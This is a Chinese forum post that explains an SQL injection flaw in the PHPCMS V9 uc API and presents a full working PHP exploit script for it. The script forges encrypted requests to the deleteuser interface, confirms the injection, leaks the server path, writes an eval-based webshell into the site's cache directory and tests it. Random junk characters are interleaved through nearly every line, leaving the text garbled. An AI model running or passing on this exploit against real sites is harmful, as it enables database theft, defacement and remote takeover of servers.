找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1943|回复: 0
打印 上一主题 下一主题

PHPCMS V9 uc API SQL注入漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-9 01:22:59 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
PHPCMS V9版于2010年推出,是应用较为广泛的建站工具。第三方数据显示,目前使用PHPCMS V9搭建的网站数量多达数十万个,包括联合国儿童基金会等机构网站,以及大批企业网站均使用PHPCMS V9搭建和维护。# X$ j' |# ^. `2 s' x
, ~; S3 {0 U, M7 W
所有使用PHPCMSV9搭建的网站均存在SQL注入漏洞,可能使黑客利用漏洞篡改网页、窃取数据库,甚至控制服务器。未启用ucenter服务的情况下,uc_key为空,define('UC_KEY', pc_base::load_config('system', 'uc_key'));deleteuser接口存在SQL注入漏洞。若MYSQL具有权限,可直接get webshell。' A( J" K# ?0 e% H4 E: y/ x
. }2 E2 W! x( m8 X. O( {
漏洞分析:
8 z7 o& a. n6 I1.未启用ucenter服务的情况下uc_key为空  }4 R1 @" ~3 }: X: [+ |$ C
define('UC_KEY', pc_base::load_config('system', 'uc_key'));
6 }0 L. ]: O9 u/ ?0 |# V9 `; L2. deleteuser接口存在SQL注入漏洞,UC算法加密的参数无惧GPC,程序员未意识到$get['ids']会存在SQL注入情况。
' H' r* |& a4 e' \    public function deleteuser($get,$post) {% f( W, O" d( h2 ]/ u( m
        pc_base::load_app_func('global', 'admin');' M+ \, P/ y$ ^, X' X5 o
        pc_base::load_app_class('messagequeue', 'admin' , 0);& T) `/ ?! G) c) H* N" n
        $ids = new_stripslashes($get['ids']);1 `8 ]  t6 u- g, [- D1 c
        $s = $this->member_db->select("ucuserid in ($ids)", "uid");
' N; X: d. |. KSQL语句为
& w. `9 ?8 s; {7 ?0 hSELECT `uid` FROM `phpcmsv9`.`v9_sso_members` WHERE ucuserid in ($ids)8 A, ?$ [# I* X& a1 E

: B1 v3 l1 G& X( Z; [利用代码,随便拼了个EXP,找路径正则写得很挫有BUG,没有注其他表了,懒得改了,MYSQL有权限的话直接get webshell  I$ Z1 v  n' p. _/ c% c
<?php& k* [& v7 m. W4 p+ _; Y$ D
print_r('
" b  D$ w; i8 \4 t* K6 C---------------------------------------------------------------------------5 z% y- n0 _% C5 T
PHPcms (v9 or Old Version) uc api sql injection 0day2 m  n/ ^$ O  v) ?; v3 d
by rayh4c#80sec.com
+ A4 q+ x( p5 N4 `' C5 w7 b---------------------------------------------------------------------------
. p1 V: r3 y  B. v');! j& v; h  z' O7 C5 d
& N& e; d* K/ W3 _
if ($argc<3) {
7 E0 I8 c# O( x& W/ X. a& x. k    print_r('
4 z& @- ^0 N- A6 z& X: \3 Z8 H8 q) v---------------------------------------------------------------------------& L+ {. }  m/ D/ W' o! @
Usage: php '.$argv[0].' host path OPTIONS
, @& `# s: M  q* B- Ahost:      target server (ip/hostname)
2 N! ?& p* z; I6 D9 R" C+ _1 Xpath:      path to phpcms5 U+ C: m# t3 J& l  J. r# E2 R
Options:8 o  q  Q0 I% e* S( g: a+ \
-p[port]:    specify a port other than 80* S2 T( O  \: f4 u0 A& I( b8 G
-P[ip:port]: specify a proxy
8 i, M7 p2 u+ }3 c" ZExample:
9 A* K% b$ i$ B; Sphp '.$argv[0].' localhost /2 ^4 x4 \- _, z2 }  D
php '.$argv[0].' localhost /phpcms/ -p810 g6 }& j4 E( r* s3 j9 a, J
php '.$argv[0].' localhost /phpcms/ -P1.1.1.1:80
2 y& q: g. P$ D% k2 }4 j---------------------------------------------------------------------------
4 s/ m) K; R# Z9 x! L');2 k$ c2 `5 n" s" B- G+ ]6 W
    die;
, Z9 g6 r1 P6 o6 G4 k$ \- o# q9 n}0 w" K& P4 Z8 Z  O
7 V1 r& L! c+ [
error_reporting(7);* L7 c8 k! U9 p' I( r" o
ini_set("max_execution_time",0);
* P* d+ m7 I4 iini_set("default_socket_timeout",5);. B5 h. |0 l( a4 v
2 z4 q8 y7 f8 K% ?* {* H$ \: I5 |8 e
function quick_dump($string)4 r! h$ }1 P8 J' f/ T0 \% b! e
{
4 ~2 o: v. Z3 V; \  $result='';$exa='';$cont=0;/ S% X5 D+ D8 h( A) j# n; m
  for ($i=0; $i<=strlen($string)-1; $i++)
8 W4 Z: A+ [& r: j& ]  {# b! ?* |, t. k* ^1 A4 l
   if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 )): Y  X  l# u# g& ~0 l; T+ c; L( o3 c
   {$result.="  .";}
  V1 _6 s  O' h3 g   else
9 H% m! N* ?# Z; R   {$result.="  ".$string[$i];}0 t# C6 x# s5 q6 j. W
   if (strlen(dechex(ord($string[$i])))==2)
' Z! j0 Q( M; }   {$exa.=" ".dechex(ord($string[$i]));}
2 `0 G3 v* t3 N   else6 ~  a$ I/ o' u) |4 B, r, b9 J
   {$exa.=" 0".dechex(ord($string[$i]));}
% {( S$ k! v7 N2 Y# X4 M   $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
9 t; Q9 T, U0 X, a  }
7 H0 h; D% H. b2 I* s% m) b! G return $exa."\r\n".$result;
: q8 q: q7 q' R# V$ o+ F4 [, N}& a, l  p; g( U. I7 w
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
6 M6 B3 }. g" N( ]/ e0 {, g- C: ~  C* T& z
function send($packet): D) ^0 R5 N) h% ?  j5 U: L
{
' K: l9 x) F8 e' i# n; Q& J  global $proxy, $host, $port, $html, $proxy_regex;+ n, i$ n2 m! `2 ?
  if ($proxy=='') {
) h, d5 f: L3 N    $ock=fsockopen(gethostbyname($host),$port);
# C8 y0 e! b0 K4 G4 c* u    if (!$ock) {9 o, L# M+ V0 A: K$ @0 V4 Z
      echo 'No response from '.$host.':'.$port; die;
, c3 V0 t  V- p6 y' N    }
  t2 {8 L8 L! Q( c  }
) a: z, T- @$ X& g; H1 n" X  else {
# Z& \: e5 @+ x2 [+ P2 N+ O        $c = preg_match($proxy_regex,$proxy);7 B6 r" N! D8 R1 u6 Z3 w5 M6 ]/ l
    if (!$c) {$ P; c* R! s9 t4 `" _8 [/ ?* @
      echo 'Not a valid proxy...';die;
/ [, I0 }$ M3 X    }
9 O/ A# K& V& e    $parts=explode(':',$proxy);2 S* `* O& f5 h5 m- S- H
    $parts[1]=(int)$parts[1];/ T! f! F6 @! u& b
    echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";$ H0 Y3 U; e- K
    $ock=fsockopen($parts[0],$parts[1]);
, S1 w) J6 y* J2 F    if (!$ock) {
9 H$ @  m# W8 J% E" V      echo 'No response from proxy...';die;
# E, V( F/ V% T8 Q        }0 G  D: h* ?5 o( U* ]' J
  }* u% _6 |$ \, U6 E2 i0 y' S
  fputs($ock,$packet);8 a6 E2 W6 D6 {# a- R
  if ($proxy=='') {$ P' @8 }- Z# K6 }) D
    $html='';
; Q( P4 ~# k" G6 }" z9 H: L4 i    while (!feof($ock)) {
. O. C: V- c; w& [; K  Y      $html.=fgets($ock);# }: w5 \* g+ e7 i1 x
    }0 |. o& T3 g1 Q% f
  }
  S0 ~$ D4 t* ]9 M3 S  O' G  else {
! q8 H: p) \& D8 D    $html='';% t$ A/ ?' v6 F: w
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {% K) d- j- d0 n! g% h
      $html.=fread($ock,1);7 Q. F. ~, }4 M! `4 _, s! h
    }6 ^) s  v8 Z- p5 j: S" A
  }
2 d$ n. _- R) j  fclose($ock);
3 J! ^  t+ R7 A% d* }}
* C! O( P8 P5 K4 N( O( V) K! C  @
$host=$argv[1];
2 j/ u- O/ v' n$path=$argv[2];
0 B$ L* O1 x- u' k$port=80;
0 S! m0 K/ T) B- e9 H2 ]3 X& y$proxy="";
/ f$ I- x) s( G' [" ]' o  zfor ($i=3; $i<$argc; $i++){+ X0 F# }% y) ?* d! A* J& j
$temp=$argv[$i][0].$argv[$i][1];
+ j5 u+ v2 O0 Kif ($temp=="-p")
( W' r  ]8 c* ], S9 Z{' e/ @1 [% C$ A9 w
  $port=(int)str_replace("-p","",$argv[$i]);
) S- r6 e8 O, j0 i}# P7 {+ _0 \  D9 V
if ($temp=="-P")
% O3 z  x3 o8 M6 Y2 K{9 j& a$ E3 O) C* ]6 z
  $proxy=str_replace("-P","",$argv[$i]);
' \) G- q% _0 w; U% B}6 B5 a8 m9 B5 D8 ^
}" F! a; E6 Q, s3 i% s
/ k  @. S- t. w
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
8 y/ |* x5 Z( J6 t$ V0 Z7 ~if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
. T$ z; g# M. j; [# ^2 @9 T/ X: J% w
function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {
- P% ~0 K- ^7 y% S
, y8 f3 i$ ~7 Z- h- s8 c/ u3 k    $ckey_length = 4;8 f8 S$ f+ t. e2 k- L7 B

8 m$ j1 `* a7 e  p* K    $key = md5($key ? $key : '');
) @' t9 C, L3 F    $keya = md5(substr($key, 0, 16));! H7 n( T# ~$ A* y1 W, U
    $keyb = md5(substr($key, 16, 16));
0 M4 W: i6 q9 j/ X: x$ {: g5 u0 r) d% y    $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';4 u2 q4 K- @% D* \7 Y3 w
. Z- `- p9 H2 q7 g1 @3 L* G
    $cryptkey = $keya.md5($keya.$keyc);& S0 c5 V' d- f; `* j/ ?4 @' N
    $key_length = strlen($cryptkey);
1 [& X1 P3 c$ b* h* |
8 P* D1 ^/ m. W  A/ O    $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
5 O3 }  o7 m" C5 ~7 S' V9 @/ U    $string_length = strlen($string);
) v! A% K) |7 \5 F# v& ~% U, d/ Y, ?4 m1 z
    $result = '';
7 @+ b* c9 R6 S$ J; a    $box = range(0, 255);
2 t: j' U. h- @+ a8 z  B4 \& A
0 u! o' b8 o: L" A9 b6 N4 E    $rndkey = array();: }0 S0 X5 y1 [
    for($i = 0; $i <= 255; $i++) {% X! x( z5 b6 h+ Q/ q6 Q( `
        $rndkey[$i] = ord($cryptkey[$i % $key_length]);: S0 s" I  t) x8 J: W# {( n4 t
    }8 y6 Z7 V! D- R2 M
# T5 }9 t; v# ?; W2 Z+ y
    for($j = $i = 0; $i < 256; $i++) {
# t' w. h% ]8 K2 r! j& Z3 E( [2 r        $j = ($j + $box[$i] + $rndkey[$i]) % 256;
+ }1 ]/ Z/ |3 q; T% q; V$ y        $tmp = $box[$i];* M6 u8 @5 w+ z9 e
        $box[$i] = $box[$j];" U0 H& I6 Y8 J2 j& i
        $box[$j] = $tmp;
; b0 U; z8 ]4 V$ l& _) I3 F    }3 v& l, O/ \, V# E$ @% p. s+ S9 Q

9 @9 M" y7 n7 Z3 V7 W' B    for($a = $j = $i = 0; $i < $string_length; $i++) {
2 E( ^- o( j  g+ d; v; {% i        $a = ($a + 1) % 256;' ?/ j8 |" J& _+ b  [1 s2 }
        $j = ($j + $box[$a]) % 256;, H; L! k% Z  p, n
        $tmp = $box[$a];
* H% |0 L( G- u! I$ Y        $box[$a] = $box[$j];
" C9 l& O+ g- r8 ?+ \        $box[$j] = $tmp;7 j& ~8 L3 ~' G
        $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));+ i* P) F2 I% m# l. W# I+ j
    }
3 w$ U- z4 @+ @( D
( `$ {: U; k, B    if($operation == 'DECODE') {
* Y9 X7 V6 Z. B  x6 W! }4 p        if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {5 y$ r$ s7 Q6 z/ \0 x- C9 t
            return substr($result, 26);9 H( l6 g# [. t
        } else {
3 ~# ^- V- @) ]" K& l* H            return '';
/ ^) O( {: u4 ?0 u        }
: I; C# P% Z5 m& @0 m. w    } else {
4 b) h2 d/ M% B4 R8 @) l        return $keyc.str_replace('=', '', base64_encode($result));! Z* P' y( [& l* j6 F" E3 f9 l( f
    }
# J* H; `6 r4 [& Y2 G6 _" Y3 J6 Q$ G# T2 l
}
4 V/ f3 d* Z; W. z
2 r7 n) S% |. n0 A$SQL = "time=999999999999999999999999&ids=1'&action=deleteuser";9 ^# ]( U! c  w
$SQL = urlencode(authcode($SQL, "ENCODE", ""));
! }2 @5 @6 `$ V6 ~3 S. u. `echo "[1] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";
) T2 p' r% @8 ~+ o/ {$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";
. E. I2 Q' ^4 r. d* _$packet.="User-Agent: Mozilla/5.0\r\n";
6 j; P/ ^% Q( S/ L$packet.="Host: ".$host."\r\n";
7 S; v3 P+ y/ o5 [8 V4 o) h7 n$packet.="Connection: Close\r\n\r\n";
1 Q* M& Q, Q; i6 v( D! s) xsend($packet);
/ z8 b- j3 L$ _0 |$ p- _if(strpos($html,"MySQL Errno") > 0){
6 C& O0 {6 I! e& F' x* \& @echo "[2] 发现存在SQL注入漏洞"."\n";
  @6 N2 f2 }: {, [) d' mecho "[3] 访问 http://".$host.$p."phpsso_server/api/logout.php \n";" E+ K" n3 O6 K( e) X: j5 b
$packet ="GET ".$p."phpsso_server/api/logout.php"." HTTP/1.0\r\n";
$ K& c( i6 h; b# w& s) ^& L1 k$packet.="User-Agent: Mozilla/5.0\r\n";
& g" c4 L% K1 I: d. X1 D$packet.="Host: ".$host."\r\n";, c: {3 x/ U6 }
$packet.="Connection: Close\r\n\r\n";
/ ?* ^' Y; l7 k0 ]0 \send($packet);
4 O+ V" Y+ n: F6 v1 x2 f& ]4 Bpreg_match('/[A-Za-z]?[:]?[\/\x5c][^<^>]+[\/\x5c]phpsso_server[\/\x5c]/',$html, $matches);9 G5 `/ }% ]6 M& ?5 p0 F, M* ?
//print_r($matches);
. |8 F9 t1 j  m8 q% Wif(!empty($matches)){
) B( a% U0 q8 a8 p& h& Recho "[4] 得到web路径 " . $matches[0]."\n";7 j: v! K. w/ ]% S' i. T
echo "[5] 尝试写入文件 ". str_replace("\\","/",$matches[0]) ."caches/shell.php"."\n";
* k1 r6 S* O) P+ @, e3 x$SQL = "time=999999999999999999999999&ids=1)";
7 B* v. s2 s/ o$SQL.=" and 1=2 union select '<?php eval($"."_REQUEST[a]);?>' into outfile '". str_replace("\\","/",$matches[0]) ."caches/shell.php'#";0 r0 [* Q7 F) ^- B) E
$SQL.="&action=deleteuser";
% T; ?% A' B' U. q. C2 v5 _; D$SQL = urlencode(authcode($SQL, "ENCODE", ""));* V; k# ~  \7 p1 X5 L- x1 y
echo "[6] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";& y! f4 {7 r( u# N
$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";
/ ]% d3 q1 ~  F6 \8 A' c2 F4 H2 ~$packet.="User-Agent: Mozilla/5.0\r\n";% W: a& b: m% `, P2 v* E! M
$packet.="Host: ".$host."\r\n";( G2 ?9 F$ H  E5 u* ]6 S
$packet.="Connection: Close\r\n\r\n";$ V, ^6 |' T$ j
send($packet);0 ^/ A8 f! f# q/ _$ D5 U
if(strpos($html,"Access denied") > 0){- X$ l, i% M, Z* Y% [' S$ U2 G
echo "[-] MYSQL权限过低 禁止写入文件 ";
' P* h! M) ^( A" |7 k0 ]die;
2 i7 Y) h, P/ ?3 \3 W# M6 }# o3 Z}
) s8 U+ u& V; j4 ?echo "[6] 访问 http://".$host.$p."phpsso_server/caches/shell.php"."\n";
6 w1 X. w& `. X3 A$packet ="GET ".$p."phpsso_server/caches/shell.php?a=phpinfo(); HTTP/1.0\r\n";0 F* A% ?; {- Q3 {% r- `
$packet.="User-Agent: Mozilla/5.0\r\n";
4 X# ]* m6 h" M5 }8 }( U9 i+ u$packet.="Host: ".$host."\r\n";
: U- V% k& ]- j6 B/ b# `" Q7 ^$packet.="Connection: Close\r\n\r\n";) M1 J& p7 s+ H5 B' D% S
send($packet);: t, f' b' q  \% R
if(strpos($html,"<title>phpinfo()</title>") > 0){
! u6 J" |5 N- E1 q3 a6 Aecho "[7] 测试phpinfo成功!shell密码是a ! enjoy it ";
$ @1 \/ }; |. O! R( U}
& ]5 v7 [- e4 p* t6 E6 Z- b}else{; n$ _, d: E' t& x
echo "[-]未取到web路径 ";& ^. a- b/ g# x9 Y/ C% u2 c$ D+ k
}. \9 S/ ]; I) s7 \+ Y- H
}else{8 ?4 B1 T) a9 J7 z5 l
echo "[*]不存在SQL注入漏洞"."\n";" c; I& e2 k. d' p9 N& H
}
! J, v6 C5 Q; ~4 W+ \0 r" p
1 i  o& M8 v# E6 n5 d% Y?>
3 Y9 f' C. y& B3 P0 P. Q* [
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表